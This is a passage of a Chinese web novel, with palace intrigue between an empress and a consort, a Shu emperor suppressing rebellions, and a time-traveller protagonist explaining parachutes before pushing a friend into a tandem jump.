我还听说蜀国已经乱起如沸,想来不久后陛下就要伐蜀了。若是能够功成,我与太子各自使力,趁着陛下高兴之际,寻一佳节良机,必叫陛下回心转意。 虽然不能立刻冰释雪消,但若是能取了禁足,也是大喜一件!我们循序渐进,将失去的重新拿回来,陛下的心也是肉长的,姐姐与陛下伉俪多年,情分定然还在心中。” “唉……” 皇后微微有些感动的扭头看向淑妃,这傻妹子,从当年进入府里时就天真无邪,没有心计,到如今怎么还这么蠢萌? 自己犯的是弑君之罪,他没有废后赐死,已经是看在若儿和多年情分的面子上了,哪里可能还会原谅…… 难为她还一步一步的替自己想破冰之法,一想起自己先前对她还抱有成见和埋怨,皇后就觉的有些无地自容,无颜面对淑妃。 “陛下心中已经没有了我,禁不禁足已经不重要了。深院与高墙,清风欲断肠,留不住恩爱的香……” 淑妃再次拉住皇后的手,皱着眉黛严肃的看着她,语气坚定的说道: “姐姐!妹妹与太子虽未通气,但我们一直都在默契缝合你跟陛下的嫌隙。帝后不能不和啊!这不仅仅是你们两个人的事,更是皇家、是整个大郑的事! 我等尚在斡旋扭转,姐姐岂可轻言放弃!!” 皇后被淑妃坚定的语气、担忧的表情、鼓励的话语感动的眼眶湿润,连忙用丝绢沾了沾眼角,红着眼睛吸了吸鼻子,点着头说道: “妹妹说的在理,本宫是大郑的皇后,不能因为自己的罪责放弃肩上的担子,本宫一定会重拾心情,以罪人之身侍奉好陛下的!” “嗯!” 听到皇后这样说,淑妃才开心的抿着嘴笑了,还不自觉的频频点头,皇后能够这样想,她也很开心。 心情稍微有点转好的皇后充满怜爱的看着眼前的淑妃,语气温柔的说道: “你呀,还是跟刚入府那会儿一样,总是为家里考虑。这也得亏是你来执掌后宫,要是换了廖家那狐媚子或者旁人,还不得尾巴翘到天上去? 其实陛下让你来主理后宫,我是放心的,也服气。也只有将钥匙交给你,这个家才能磕磕绊绊的继续下去。她们都只知争宠夺爱,根本不晓得大局为重,唉!” 淑妃有些不好意思的低下头看向二人拉在一起的双手,害羞了一会后,又抬起头有些小女儿心性的傲娇道: “那又如何,太子能文能武,品性上佳,更有一帮良臣勇将忠心追随。妹妹说句晦气的掏心话,将来陛下龙御归天后,姐姐仍然是大郑太后!我们文家人只要齐心协力,就没有人能够撼动我们、撼动姐姐一分一毫!!” 皇后听得心中也生出了赞同之意,确实如此,布衣百姓都说“家和万事兴”,只要一家人在一起,劲往一处使,没有什么风浪是过不去的。 “况且,陛下最倚重的凌点检,与太子、秦王关系都不错,其妻又与意儿来往甚密,这汴京如铁桶一般牢靠。 外臣之中,关中、江淮、中原人心尽握,那王郡公也是他们早年旧交。听说陛下当初还未起事时,他们已经在凌点检的府邸里遇见过了,都是老人,不会有差错的。” 啧…… 听到淑妃提起凌晨,皇后的心情顿时又复杂了起来。 这么些年过去了,自己还是没有看透那个年轻人。 轻轻摇了摇头后,皇后对淑妃缓缓说道:“他只是若儿的朋友,并非……唉~” “嗯?” 皇后的话让淑妃一愣,什么叫只是朋友?跟太子做朋友,那不就是政治盟友吗?这还有什么不同吗? “罢了罢了,今天也不知是怎么了,跟姐姐说的有点多。后宫不得干政,要是被陛下听了去,少不了要一顿数落了,要是赶上心情不好,妹妹可就一时半会见不到姐姐了,休要再提,休要再提~” 皇后见淑妃岔开话题,张了张嘴,总觉得不吐不快。 “你听我说,那孩子跟旁的朝臣边吏不一样。” 淑妃愣了愣,抿了抿嘴,好像不敢接话。 皇后没有理会她的惊讶和不解,自顾自的继续说道: “那孩子看似洒脱,实则偏执,我也是近来才想明白。他当年与陛下战场巧遇,二人过命的交情,故而他只忠于陛下一人。倘若是若儿有了不该有的心思,怕是他不会念旧…… 甚至有时候我觉得,他虽然一直在尽心尽力的保护陛下,但也未必就见得完全忠于陛下,至于为什么会有这种感觉,我还不清楚……但这种感觉真的很强烈!” 淑妃听的彻底愣住了,这是什么意思? 忠于陛下,但又不完全忠于陛下。 那还能忠于谁?谁能比陛下权力大?谁能比陛下地位高?谁能比陛下更重要? 虽然没明白皇后是什么意思,不过,这条线索很重要。 从清露宫走出来后,淑妃并没有急着坐上抬辇,而是依旧立在门头望向天空,只不过这次是背对着门头。 “凌晨……” 当你在一群俊男靓女中发现有个长相普通的,当你在一群行业精英中发现有个看起来不怎么起眼的,当你在一群热情销售中发现有个不争不抢的。 不要怀疑,他(她)指定是有点本事在身上的,不然也没有底气和资格站在这里。 甚至,他(她)可能远在这群同伴之上。 淑妃作为一个不争不抢了三十年的旧人,能够在一群感情深厚的老人和一群新鲜活泼的新人里脱颖而出,被文训看重并且赋予后宫大权,可不仅仅是因为性情随和。 宅斗激烈,宫斗血腥。 她却几十年如一日屹立不倒,如今更是稳坐钓鱼台,让包括帝后在内的大部分人都放心、服气。 能搅出大锅饭的,没有一个是简单货色。 第181章 中兴 问世间情为何物?直教人生死相许。天南地北双飞客,老翅几回寒暑?欢乐趣,离别苦,就中更有痴儿女。君应有语,渺万里层云,千山暮雪,只影向谁去? 人类的欢喜或许各有不同,但悲伤是一样的,无非是所欲不得、不可得、不能得。 这个“欲”的范围很广,只要是你想的、期盼的、遗憾的、不愿意放弃的,都在“欲”的范畴内。 比大郑皇后更愁的是大蜀国主,但跟他那位同病相怜的文伯母比起来,他还多出一个优势和一个劣势。 优势是:他还年轻,并且手中还有一大群士兵。暴力在大多数时候还是管用的,尽管眼下的局面一片糟糕,但只要费尽心思认真去做,坚持不懈的往冒烟了干,蜀军平定叛乱的几率依旧很大。 劣势是,郑后现在即使什么都不做,只要每天吃饱穿暖,不要难过伤心,熬到文若继位日子也就出头了。文若再怎么样也不会继续禁足自己的母亲,这是有关人伦纲常的孝道问题,对于皇帝来说尤其重要。 但孟玄不行,他要是敢躺平摆烂,有的是人想要卸掉他的胳膊腿去换取富贵,说不定千年以后还能出个世家什么的。 成都,照壁宫。 由于大家都知道陛下最近心情很糟糕,所以宫人们都不敢大声说话,低着头小心翼翼打起十二分精神上班,尽量保持自己的呼吸均匀,生怕一个不小心就会触怒陛下,引来雷霆之怒。 孟玄脸色很差的盘腿坐在锦榻上,弓着身子伏在案桌上奋笔疾书,像极了暑假只顾着嗨p旅游或者摸鱼掏鸟,完事后继续放飞自我追剧打游戏,到最后挑灯夜战、疯狂补作业的学生哥。 一大摊子烂事等着他去处理,每天从早忙到晚,却依然看不到头,还有无数道新折批源源不断的送到他的案头。 前段时间青城山逛的有多舒服有多爽,现在过的就有多辛苦有多累。 揉了揉有些发酸的手腕,孟玄左胳膊肘在案桌上,用手摸着自己的左边太阳穴,五根手指伸进发缝里用掌心轻轻揉压,这才让阵痛不断的脑袋稍微舒服了点。 深深的出了一口气后,他直起后背,两个胳膊向两边扩张开,清晰的听到了自己后背的肩胛骨和脊椎传来了两道“咯咯”声,这是因为长时间伏案低头看折批导致的。 徐皇后领着两名宫女从后殿的巨大屏风后面走了出来,刚好看到孟玄的这一动作。又见他整个人身体一塌,宛若被抽去了力气一般,一股疲惫不堪和消沉乏累的感觉通过视觉传进了徐皇后的心中。 “陛下,臣妾熬了点燕窝羹,进一些再忙吧~” 徐皇后亲手从侍女端的银盘里捧出碗勺,轻手轻脚的放在了孟玄手臂旁的桌面上,又转身挥手,示意两名宫女先下去。 说起来也巧,心情不好的的人多少都会有点食欲不振,安慰他们的人都选择用汤汤水水的东西来代替主食为他们补充能量。在这一点上,徐皇后和淑妃倒是产生了奇妙的羁绊。 这也没什么新奇的,只要别是狗熊给心之钢亚索的那种汤汤水水就行。 孟玄放下朱笔,憔悴的脸上勉强挤出一丝笑容,顺手就将燕窝拨到自己面前,尽管有些吃不下,但他还是拿起勺子喝起来。 男人事业受挫不要紧,赚不到钱也无所谓,自己再想办法就行了。车到山前必有路,船到桥头自然直,不能让关心自己的人尤其是妻子担心。 这种倔强已经形成了每个中国男人的进化记忆,虽然有时候也想大哭一场,借酒浇愁,或者别的什么方式发泄一下。可是孟玄必须压制这种脆弱,是天性,亦是使命。 但这种倔强有一个前提,得是像徐皇后这样真正深爱着丈夫的妻子。 她会爱他所爱、思他所思,为他承担痛苦、度过苦难,无论贫寒或是富贵、无论卑贱或是高贵,无论身处乱世还是神所不顾,她会为他收起翅膀,为他拔剑而战!不离不弃,直至永远。 如果遇到一位还在相亲阶段就要跟你签署婚前协议、划分好财产的精致猪猪女孩;或者在你为这家忙碌奔波的时候与别的男人寻求刺激的金莲巧云;亦或是习惯了你的宠溺怜爱、觉得一切都是理所当然并且永远不会珍惜满足的人,那还是趁早世界毁灭吧~ 徐皇后见孟玄低头吃的香,心里也轻松了不少。他们从青梅竹马到少年夫妻,再到如今的国之帝后,孟玄是她生命中最重要的人,没有之一。 父母会老去,孩子会长大,只有他会永远停留在自己的生命里,直到不得不分离的那天来临。如果她先行离去,那孟玄就真是她的一辈子。 硬着头皮喝完一整碗燕窝后,孟玄像个村汉一样用袖子一抹嘴,继续拿来一本折批翻开,右手握着毛笔蘸了蘸蓝瓷砚台里的朱砂红墨,深呼吸了一口气后,皱着眉继续落笔。 徐皇后轻挪莲步,走到他的身后,将两双素手搭在他的肩膀上,力道不轻不重的缓缓揉捏,为他缓解疲劳和紧张。 夫妻齐心,没有过不去的坎。 直到深夜子时过半,孟玄才终于弄完了最后一本折批,累的快要吐舌头的他扭头想跟徐皇后说说话,结果却发现对方坐在自己身后,靠在绣榻边上单手撑着粉嫩的腮帮睡着了。 在心中暗暗叹了一口气后,孟玄轻手轻脚的走到绣榻边,拿起一张裘毯小心的盖在徐皇后身上,随后十分舒服的伸了个懒腰,一天的任务完成后,没来由的感到一阵轻松。 他坐到了绣榻边,深情的望着徐皇后熟睡的面庞,心中百感交集。 寒风之中,蹒跚走过的路。 人海浮沉不停追逐。 只身迷途,我却并不孤独。 空荡荡的大殿中十分安静,耳边只有妻子偶尔传来均匀的呼吸,这位年轻的帝王不禁又皱起了眉头,习惯性的思虑起了国事。 眼下的西川,不可能再有逆风翻盘的机会了,甚至就连能不能挡住大郑军队都还很难说。如果到时候漫天飞沙、兵临城下,自己和守心怎么办? 其实有时候,孟玄也想做带投大哥,干脆搬去汴京住算球,亦不失为安乐公也~ 可当他掰着指头细数天下群雄后,会发现一个十分有趣的现象—— 从周高宗死前的天下大乱开始,迄今为止还安稳活着的地方领袖,一个都没有。 昙花一现的襄樊节度使宋舒、倒霉又可怜的周哀帝、机关算尽反误了卿卿性命的孙芝、拒绝文训收编招降的各地知府、太守。 李遗景和应开疆倒是还活着,但也是时刻都活在恐惧之中。 所有人都明白,文训迟早都会去找他们的,如果不是文训,那一定文若或者后继之君,甭管是谁,可能时间会有些出入,但结果绝对不会变。 不要说韩登是例外,那是韩珏死后的事了。如果他活着,关中和大郑之间,必有一战!! 李雄和自己,身心俱疲。还有南方的那些个分裂势力,就是明确站队文训的张照初和陈瑾,谁又敢说自己真正高枕无忧? 想着想着,孟玄又感到一阵头疼,敲着脑袋漫无目的的乱瞟,不经意间瞥向了挂在榻旁的铜镜。 他愣住了。 镜子里的人发丝有些松乱,双眼皮耷拉着向两边垂下,鬓边还有几根头发漏了出来垂在脸旁,看起来十分憔悴潦草,整个人都没有精气神,只有一股淡淡的丧感。 这是我? 他有些难以置信的站起身来,伸出双手抓住铜镜两边,望着镜中人,不敢、也不愿意相信这是自己。 深夜总是容易让人情绪崩溃,孟玄心态有点小崩,情不自禁的喃喃感慨道:“这大好头颅,真不知会被何人砍去……” “陛下!你……你说什么?!” 就在孟玄刚才有些入神,起身去抓铜镜时,因为动作有些大,吵醒了熟睡中的徐皇后,她才刚睁开眼睛,就听到了这句让她浑身发抖的话。 “陛下!你……陛下……” 徐皇后瞬间泪奔,不顾形象的直接从榻上下来,鞋都没穿,猛的扑到孟玄身后,紧紧抱住了他的后腰,吸着气放声痛哭了起来。 孟玄仰天闭目,争取不让自己的眼泪掉下来,咽了咽喉咙后,他长叹了一口气,转过身将妻子紧紧抱在了怀里。 此刻,他们不是蜀国皇帝和皇后,而是一对被糟糕生活折磨到崩溃的年轻夫妻。 徐皇后哭了半晌后,红着眼抬头看向孟玄,哽咽着说道:“陛下切不可再说那样的言语,文臣谋士仍在案头劳牍,勇武骁将还在整戈待旦,若是叫他们听到了,会有多么寒心? 臣妾知道陛下压力大,可大家都在努力扭转局面,纵使最后事与愿违,大不了就是一死!碧落黄泉,臣妾与陛下同赴就是!万不可轻生懈怠之心、颓丧之气啊!!” 孟玄忍了半天,还是没忍住眼泪,鼻子一酸,捂住妻子轻抚着她的发丝。沉默泪流后,心中暗暗发狠! 守心说得对,最差的结果不过就是一死,有这样的妻子陪着,死又何惧! 就算是为了她,自己也要振作起来,重拾信心。 第二天,曾经那个让天下群雄都生出忌惮之心的天府英主,又回来了。 在孟玄的指挥下,蜀军四处出击,连拉带打,抚剿并用。先解决了西川北部的零星盗匪,重新恢复了绵竹、涪城等地的生产生活秩序。 紧接着,又按照黄旭的建议使用离间计,使得奉节府境内几股叛军互相厮杀,让他们失去了人心支持和法理性,从对抗暴政的义军变成了私心为己的乱贼。 待时机成熟后,孟玄亲自率领着那支曾经跟随他征战天下的蜀国京军,对鹬蚌相争到不可开交的叛军发起了凶猛攻击。 孟玄只是摸了会鱼,这并不代表他菜,在军事指挥上,这些叛军将领和首脑没有一个是他的对手。 他从五岁开始就已经在学习军事理论知识了,十四岁就以优秀的成绩毕业并且开始了名为“如何正确砍人”的社会实践,南征北战、东伐西讨,甚至和比他多吃了二十年饭的李雄打的难分伯仲。 这还只是他的选修科目,他的主修是政治,并且成功在上一轮吃鸡大赛中摘得桂冠。 秋冬两季,孟玄用尽生平所学和工作经验,终于将火势凶猛的西川各地给硬生生的扑灭了。 结束这一切后,他开始清算,杀了十四个人。 是的,只杀了十四个人。 只要不是叛军首脑的,全部无罪释放,就算是叛军首脑,只要在乱战期间没有妄杀百姓的,也放。被迫跟随乱军的普通百姓,统统回家去,国家发粮发布过冬,明年好好开始全新的生活。 投降了大郑的江陵水师,全体将士的亲眷和家属们,统统免罪。 朝臣们纷纷进言,劝说孟玄不可心软,一定要严厉惩戒反贼和他们的家人,这样才能威服黎庶、震慑宵小之徒,使他们不敢再犯上作乱。 孟玄却说,民众不过是被生活和贼匪裹挟,迫不得已而加入了乱军,把他们都杀光了,谁给大蜀垦荒造田、赋粮从征? 不是平定完叛乱事情就结束了,这只是宴席开始前的开胃凉菜。剑门关外边徘徊不走的种平、夷陵江渚上向西而望的邵之祁才是接下来必须要面对的大麻烦。 本来已经心灰意冷,准备想想下辈子该去哪投胎的叛军俘虏们,在得知陛下竟然赦免他们无罪,还给他们发放钱粮遣返他们归乡后,全都跪了下来,向着成都的方向跪拜磕头,痛哭流涕。 偶尔的踌躇满志其实也挺能激发人的潜能,并且还可能真的做出一番成绩,有时候不把刀架在脖子上逼自己一把,还真会产生“我只是个npc”的错觉呢~ 在徐皇后的鼓励下,孟玄励精图治,一鼓作气的成功扭转了自从东进战略失败后,一直消极理政所埋藏和引发的一系列问题,一切都除旧革新,重新开始。 做完这一切后,他站在照壁宫外的白石栏杆边,望向东北—— 文世伯,我已经磨好手中的宝剑了。 请赐教!! 第182章 科普 除夕子时雪,落地已隔年。 家庭是永恒的终章,连凌晨都不能例外。 自从腰果学会爬行后,凌晨和青柠这对年轻的夫妻颇有一种手足无措的茫然和心力交瘁的疲惫,得防着她四处乱爬不小心磕了摔了,尤其是小姑奶奶哇哇大哭的时候,哎呦…… 军中精铁被打造成了摇篮架子,江南绸缎被用来擦粑粑。易阳侯从幽州购进了草原上最好的奶羊,拴在临颍侯府的后院里,每天吃着从段家庄田野里新割来的鲜草,产出新鲜的奶汁。 当韩登看到一辈子仰面看天不低头的殿帅坐在个小板凳上,嘴里“咳咳”的挥舞着蒲扇驱散眼前的柴火烟,却依旧把羊奶煮的泡沫翻涌溢了出来。他不禁一只手捂着肚子,一只手指着凌晨哈哈大笑起来—— “原来你也会有这么狼狈的一天?哈哈哈哈哈~~” 因为着急,忘了用垫布隔热,强忍着烫徒手将砂锅从红泥小炉搬到地面上的凌晨赶忙吹了吹手指,咬牙切齿的看向笑弯了腰的韩登,立刻便怼了回去: “那是,我哪有秦王殿下牛逼,成亲这么久了也不见有个孩子,还会控制自己呢~” “哈哈哈……嘎?” 草,这特么是说我不行么? 韩登顿时就止住了笑,垮下个批脸来,明显没有刚才开心了。 见他的鸭子嗓被捏住了,凌晨瞬间感觉手都不疼了,心满意足的卷起垫布,握住砂锅从地上端了起来。 “进啊,难不成还要我请你啊?” “切~” 韩登不屑的低头侧歪着暗骂了一句,紧接着重新背起双手,昂首挺胸的抬腿上了台阶。 侍女掀起厚重的棉帘,凌晨和韩登一前一后踏入房里,铜炉里的木炭烧的正旺,偶尔还会传来“噼啪”声。满屋子的空气中都飘荡着一股婴儿特有的奶味,院中冷风呼啸,屋里温暖如春。 窗外冬日暖阳。 正堂里没有人,韩登就自己坐了下来,看着凌晨用细密的滤网把熟羊奶过滤到碗里,然后丢下自己端着热气腾腾的羊奶走进了偏房。 没一会,凌晨就双手搓着大腿上的垂衫溜了出来。 偏房里韩意、文鸯、世容都在陪着青柠逗腰果玩,他一个大男人待着也无趣,而且照顾腰果真的好累,就借口逆子登门脚底抹油了。 在铜盆里捞着水搓上两把后,凌晨用干面巾擦干手上的水,来到了桌子旁坐下。 “忘忧呢?怎么没跟你一起来?” “她昨晚没睡好,身体有些不适,我就让她好好休息了。” “然后你自己溜出来瞎逛是吧?” “我不来,你能出得来?” …… 凌晨转着眼珠子想了想,这话倒也在理。于是他便伸手翻转桌子上的茶杯,亲手给韩登倒上一杯热茶。 韩登却没有喝,而是朝着里面悄悄看了一眼,向着凌晨凑近问道:“哎,望云军练的怎么样了?” 凌晨闻言一愣:“嗯?你问这个做什么?” “好奇~” “不,你不好奇。”凌晨脸色嫌弃的说道: “望云军可是最高机密,连右相和大哥都不敢接触,你活得不耐烦了敢打听这个?要是让陛下知道了,你看他扒不扒你的皮~” 韩登闻言,顿时露出焦急难耐的面色来:“哎呀!这有什么?你那热气球我早就见过了,再说当年剿灭赵世中时所有颍川乡军都看到过,难不成陛下还能把他们都杀了不成? 我自己去当然不行,不是还有你么?你亲自带我去,就是陛下知道也不会说什么的。我是真好奇那个什么…降落伞是怎么让人从天上掉下来还能安然无恙的。 热气球还有火烧着,降落伞什么都没有,究竟是怎么做到的?还有啊,你老实说,你是不是还藏着什么花招呢?咱俩都什么关系了?你就好好跟我说说呗~” 这小子…… 凌晨单手枕着桌面,望向窗外满地的雪白,十分懒散的打了个哈欠~ “还记不记得当初在汝南的时候,我给你折过一架纸飞机?即使不怎么使力,它也可以在空中飞出去好远,有时候还一上一下的?” “记得,可这跟望云军有什么关系?” 凌晨终于理解当初自己回答不上问题后,老师看向自己时的内心活动了。他皱出一张地铁老人脸,忍着想给他一棒槌的想法继续说道: “那是因为我们生活的世界中存在着一种叫做空气的东西,也就是我们呼吸时吸进去的那口气。” 韩登听完后,立刻试着深呼吸了一口。 “这我当然知道啊,然后呢?” “空气虽然看不见摸不着,但是却真实存在的,并且还有重量和体积,呃…体积就是占据地方。” 韩登伸出手在两人面前挥了挥,又故意掂了掂,继而用蠢萌的眼神望向凌晨:“哪呢?我怎么没感觉到?” 捂着脸的凌晨一阵无语。 “呐~最简单的证明方法就是,你深吸一口气后,这些空气就会像水一样钻进你的身体里,你必须要吐出来。如果不吐出来,就会憋的慌,而且也没有办法吸入新的空气,因为身体里已经被占满了。” 草…… 听到凌晨这么通俗的解释,韩登仔细想了一下,好像还真是这么回事! 他立刻就认真了起来,双手枕在桌面上,兴冲冲的向凌晨问道:“那这个跟热气球和望云军有什么关系?” “你看啊,船能够行走在河流上,是因为有水在底下托着它对吧?” “是。” “用扇子扇风,会把原本不动的空气吹到你的脸上,比如你骑着马飞速飞奔时,脸上会感觉收到莫名的挤压,有时候即使没有沙土,也依旧睁不开眼睛,都是因为它的存在。” “嘶……” 韩登皱起眉头看向凌晨,谁家好人会研究这些司空见惯的东西啊?而且还真被他研究出了门道。 “那这个……” “望云军新使用的装备——降落伞,它就是利用空气的存在,用特殊的结构把空中的空气流速减缓,让人能够以比往常慢许多的速度从空中落下来,自然也就不会重重的摔到地上了。 就像……就像平时一根手指在水里划,和你用葫芦瓢在水里划,划出的速度和需要的力气是不一样的。” 韩登若有所思的喃喃道:“也就是说,这个降落伞就像葫芦瓢一样划着许多水,让人从空中跌下来的速度慢了很多……” “对。” “如果热气球上面有人,再从上面跳下来,安然无恙的落地……嘶……” 韩登顿时瞪大双眼看向凌晨,明显是龙场悟道了,正要大嚎,却见凌晨朝着他比了个“嘘”的姿势,立刻又反应过来,恢复了冷静。 “也就是说,只要热气球足够多,上面装着一两个人用降落伞跳,那么就可以越过地上的河流、沟壑,甚至是……” “甚至是,剑门关。” 韩登愣愣的望着凌晨吞了吞口水,那不就是说,整个西川的陡峭崖壁和关隘天险,在大郑王师面前都将形同虚设吗?! 而且……长江、金陵城也…… “你……你是怎么发现这些的?等等,不对!以你的性格,敢拿出这样的东西,就说明一定还藏着更厉害的手段!快说,还有什么?” “你话密了嗷~”凌晨眯起眼睛看着韩登,双手抱拳斜着朝天掬了掬: “我深受陛下厚恩,怎么可能有所保留?真的一滴都没有了。如果有,那一定是技术不够成熟,还处在实验阶段,无法运用到实际中来。” 韩登起身拉着屁股底下的凳子扯到凌晨身边坐了下来,跟他腿挨着腿,满眼都是对信息和知识的渴望:“别磨蹭,快跟我说说。” 凌晨看着他这副急切的模样,心里也生出了一种卖弄学识的想法,于是,他决定给秦王殿下整波大的。 “我最近新发现了一种我们肉眼看不见的东西,在特定情况下,它们会不断的分裂,一直分裂下去。在这个过程中,还会产生热量,比铁水还要烫六倍,能把任何东西都瞬间融化。 而且,他还会把一大片空气在很短的时间内挤压出去,形成一种叫做冲击波的东西。另外它还有毒,并且没有解药,被它袭击过的地方十年内寸草不生,五十年后才可以勉强待人,但还是有可能会得病。” 韩登努力的想象了一下后,壮着胆子问道:“威力有……整个你家这么大吗?” 凌晨轻蔑的看着他,淡淡的说道:“格局小了,是整个汴京城,包括京郊。” “啊?!!!” 韩登惊的从凳子上跳了起来,两只眼睛瞪得比牛眼睛还大,凌晨的话对他的冲击太大了!什么东西能一瞬间摧毁整个汴京城啊?! 尽管内心觉得这是假酒喝多了说出来的胡话,可韩登还是有点害怕,因为这是从凌晨嘴里说出来的。 那就真有点说不准了…… 一想到人世间可能存在着一种能够瞬间毁灭整座汴京城的东西,韩登的额头和鬓边已经汗珠子流成一道一道的了。 一直观察他表情变化的凌晨忍住笑,一本正经的逐渐离谱—— “这算什么,还有一种叫做‘龟派气功’的东西,只需要一发,就能天崩地裂、日月坠落。能让你看到的、你知道的、你听过的一切东西全部化为虚无。” “啧……” 韩登这才反应过来凌晨是在逗他玩呢,作势就要一拳捶向他的胳膊,又想到自己可能打不过凌晨,只好悻悻作罢。 就说嘛,怎么可能有一下子能毁掉整座汴京城的东西?吓我一跳…… 第183章 这里不许睡觉 望云军驻地的周围全是巡逻的士兵,寨墙百米之内的地面全部被铲平推空,不许有高于十厘米的草木存在。城寨上面的墙垛后更是有无数道眼睛锐利的扫视着下方的一切,稍有异动,一览无余。 远处的官道上飞来两匹骏马,一红一黑,从靠近的速度上就能判断出来人有多嚣张。 城寨门口的望云军士兵立刻双手握住长枪,将手按在了刀柄上,纷纷来到拒马后面,随时准备对来人进行物理降噪。 但当他们彻底看清来人的面孔后,又都松了口气,各自回到了自己的位置,重新扫视着这两骑的后方。 奔至门前后,韩登和凌晨双双勒马,从马背上翻滚了下来,各自将手中的缰绳丢给守卫后,一起走向了寨门里。 原则上来讲,除了陛下之外,任何人来到这里都是要登记、报备和检查随身物品的,连太子都不能例外。 但现在,来的是原则。 至于秦王韩登么,早在望云镇上时护庄队员们就已经见过他了,而且由于和凌晨相交甚密,其实有些护庄队员跟他关系也不错,至少都是脸熟的级别。 他是凌晨带来的,守卫们既不会、也不敢阻拦呐! 反正无论有什么事,都有老大去跟陛下解释。 韩登自从进入城寨后,就跟个胡汉三进城一样不断的表现出没有见过世面的模样,尤其是当他看到那十座比汴京城墙还要高的高台后,更是震惊的无以复加。 现在他可算是明白陛下为什么要将望云军独立成军了,这尼玛真的是一个全新的军种啊!而且全天下估计只有大郑独一份! 哼哧哼哧的爬上高台后,正在训练新兵蛋子的刘廷让立刻哈着白气过来见礼,凌晨朝着他点头示意后,对望着排队伞兵们张口结舌的韩登说道: “望云军已经有五千人的规模了,开春之后,我估摸着最快三月,最迟五月初,陛下就要开始‘麻辣兔头’行动了。现在留给我们的时间不多,我已经在考虑要不要放宽招收标准。” “麻辣兔头?那是什么?” 韩登的眼睛依依不舍的看向一个接一个从高台上跳了下去的伞兵们,脸却扭向凌晨,漫不经心的问道。 “一项行动代号,其实我是想起名成‘阿克萨洪水’或者“安东诺夫特别军事行动”的。但是陛下不识货,说我莫名其妙,让我再想一个,我实在想不出来,就随便凑了个麻辣兔头。” “……” 敢在大庭广众之下大声说陛下“不识货”,你才是真正的麻辣兔头啊…… 懒得去追究凌晨说的那些玩意都是什么意思,韩登现在只想一饱眼福。 他小心翼翼的站在栏杆边向下望去,亲眼看着那些士卒们走到高台尽头,毫不犹豫的纵身一跃,在空中变成一个个蒲公英,晃晃悠悠的飘在黄河水面上。然后不知道他们怎么弄的,竟然在半空中扭转方向,渐渐转了过来,回到了岸边的松土上。 韩登吞了吞口水,从他渐渐粗重的呼吸和有些发红的脸颊上,凌晨看到了跃跃欲试和渴望。 “来都来了,要不……体验一下?” 听到凌晨这么说,韩登起初还只是敷衍的点了点头,等反应过来后,连忙把目光收了回来,头摇的像拨浪鼓一样摆着双手对凌晨说道: “不不不,我上有老下…有妻的,还是别了,万一出了问题,叫我娘我姐还有忘忧她们怎么办啊!” “啧~” 凌晨嫌弃的看着他说道:“这还是我认识的秦王殿下吗?你想想你当年多勇啊,偷太傅的信抓晋王的公子,根本不带怕的!现在只是跳个伞而已,怎么就蔫巴了呢?” 韩登为难的说道:“那不一样,只要让我双脚踩在地上,什么事就都能应对,但这…这这这……” 凌晨上前一把按下他还在拒绝的双手说道: “你放心,经过很多次的试验和改良,现在的降落伞质量杠杠的!出厂后我都会不定期的从成品中随机抽出两顶,再从望云织造局抓阄抽出两名女工,请她们来这里观摩一下。如果质量不过关,上面都有名字,下次就叫她们亲自上,所以绝对不会有问题。 再说了,我还能害你咋滴?我们望云织造局制造出来的降落伞从来没有收到过差评好吧,一顶都没有!你不会比今天更年轻了,所以大胆的去尝试吧少年郎!” “我…我都奔三了……” “磨磨唧唧的,明明想要,担心个什么呢?跟我还不好意思了~~廷让,去,给秦王爷背一顶教练降落伞过来!” “是。” “哎哎哎……” 韩登闻言大惊失色,连忙想要拦住去给他挑选装备的刘廷让,却被凌晨率先给拦了下来。 “既然到了我的地盘上,就把一切都放进肚子里啊,兄弟我来安排。” 韩登知道凌晨不是在跟他开玩笑,顿时有些不知所措,他确实有些想要尝试的想法,但此举也确实过于超出他的思维认知了,处于一种既想又不想的矛盾中。 凌晨表示:没关系,我来助你。 刘廷让没一会就回来了,仔细检查了伞绳、背包和副伞后,先是将这些东西都套在了自己身上,然后将身前给学员套的绳子握住,笑着在凌晨的帮助下,不分由说把韩登绑了起来。 韩登见刘廷让将自己跟他绑在一起,二人紧紧贴在一块,顿时更加疑惑、也更加惊慌了!! “别人都是一个人一顶伞在跳,为啥叫我和廷让一起跳啊?这……你这伞撑得住两个人的体重吗?” 凌晨在前面拉,刘廷让在后面笑呵呵的推,二人就这么强行把韩登给拉到了高台边。 凌晨一本正经的拍着韩登的肩膀说道:“你放心啊,这是我们专用的教学降落伞,为了能让新学员适应空中的状态呢,一般都是由原来的护庄队带着他们先感受几次。 您身份尊贵,自然是要让我们刘指挥使亲自陪练,廷让已经教出过七百多人了,经验丰富这呢!你只要听他指挥,不要乱抓乱动,就一定不会有问题的。” 刘廷让也扶住腿肚子都点抖的韩登的双肩,安慰他道:“殿下放心,末将定会保您无虞的,只是一会飞在空中时,切记不可胡乱扭动身体,更不能抓取身上或者头顶的伞绳,只要放松感受即可。” 韩登望着高台边缘的下方,艰难的吞了吞口水,闭上眼睛挣扎了一会,还是往后退了一步:“不行不行,这个真不行,我真的……” “哎?那个人怎么飞到河对面去了?” 听到凌晨这么说,韩登一时之间也忘记了害怕,下意识的抬头向着远处看去,远处除了灰暗的天空和白色的太阳外,毛都…… 下一刻,他感觉自己的身体不由控制的向前倾去。 “凌晨!!!!!!” “啊————” 冷冽的寒风吹的脸庞刺痛,失重的感觉直冲天灵盖,让韩登浑身的肾上腺素急剧飙升,感受到膀胱传来的一阵阵抽热,他突然有种想撒尿的感觉! 风从耳旁吹过,身后的刘廷让好像在对自己说着什么,韩登已经完全听不清了,只能感觉到他好像在动。望着下方一览无余的地面,感受着恐怖的高度,韩登胃里一阵翻涌。 下一刻,他两眼一黑,直接晕了过去。 …… “喂,这里不许睡觉,快起来啊小登~” 昏迷中的韩登隐隐约约听到好像有人在呼喊自己,他挣扎着扭动身子,结果却发现自己的身体根本没有动,只是眼睛慢慢睁开了。 这是地府吗? 哎……好像不是…… 映入眼帘的是一群人在围观自己,左边最近的是肌肉壮硕的刘廷让,一脸平静的看着自己,好像刚才寻短见的人里没有他似的。 右边最近的是凌晨,左手搂着自己的脖子,右手比作刀状高高扬起,正皱着眉头抿紧嘴巴望着自己…… 卧槽他想干嘛?! 韩登瞬间就清醒了过来,一边呻吟着一边想要挣扎起身,凌晨伸出手拍了拍他那张面无血色的帅脸,又用大拇指和食指撑开他的眼皮仔细瞅了瞅,瞳孔并没有发散。 还好还好,没把逆子吓傻。 “恭喜你,解锁了新成就‘信仰之跃’,从今天起,你将是全天下第5126个体验过空中飞人的幸运儿,记住,我们的口号是——” 